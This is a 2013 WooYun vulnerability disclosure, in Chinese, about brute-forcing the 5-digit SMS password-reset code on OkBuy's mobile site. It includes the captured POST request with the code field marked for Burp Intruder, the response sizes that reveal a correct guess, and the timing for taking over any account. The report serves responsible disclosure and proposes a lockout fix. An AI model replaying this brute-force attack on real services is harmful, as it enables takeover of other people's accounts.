当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018059

漏洞标题:好乐买手机版再现用户密码重置漏洞

相关厂商:好乐买

漏洞作者: xfkxfk

提交时间:2013-01-29 15:47

修复时间:2013-03-15 15:48

公开时间:2013-03-15 15:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-03-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

手机版——好乐买:中国最大正品鞋购物网站。

详细说明:

1.是好乐买的手机版,进入手机版好乐买的账号登陆页面:

http://www.okbuy.com/topic/show/521


当然我们这里不登陆,而是点击【忘记密码?】按钮,进入密码重置流程:

.jpg


2.注册过的用户都得用手机验证,才能用手机号进行密码找回,从提示也能看出来。
填写需要重置的账号,即验证的手机号码,由于只是测试漏洞存在,这里只用了我自己的账号:

.jpg


3.点击提交,此时已经给我的手机号发送了重置密码的短信验证码了。

漏洞证明:

4.查看手机收到的短信码为【38330】,我首先输入任意的5位纯数字短信码38331,点击提交,则返回如下错误,记得此时设置好浏览器代理:

.jpg


5.同时,看到的抓包请求为:

POST /member/getpwdok HTTP/1.1
Host: m.okbuy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://m.okbuy.com/member/getpwd?mobile=150********&sid=********21a761359440142~sjbjsy_1&ref_1=&ref_2=&ref_3=&httprefer=http://m.okbuy.com&ref_1=&ref_2=&ref_3=
Cookie: OK_SES=1358728501246_74201451; ********; obsid=**********7g83ncmfkdojc9c4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
username=150********&code=§38331§&pwd=******&sid=********21a761359440142%7Esjbjsy_1&ref_1=&ref_2=&ref_3=&step=1


上面的参数code=38331为短信码,而参数username=150********为手机号码。
6.写了那么多,开始吧:设置好参数code为需要爆破的参数,开始暴力猜测,这里由于是测试我从37330开始:

.jpg


payload.jpg


7.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为5947,而短信码正确时字节数为529,很明显啦!

.jpg


8.那么使用爆破完的短信码重置账号吧!

1.jpg


9.成功重置密码:

.jpg


修复方案:

1.这里5位纯数字短信码的爆破,即平均1万次的请求,我使用了burpsuite测试单台机器100线程,5分钟不到即可重置任意一个手机账号!危险啊
2.短信码可以为5位纯数字;可以不设置图片验证码;甚至可以不用设置短信码的10分钟有效期。但是为什么不设置连续几次尝试失败就锁定本次密码重置的请求呢?
3.求20rank,求礼物!

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝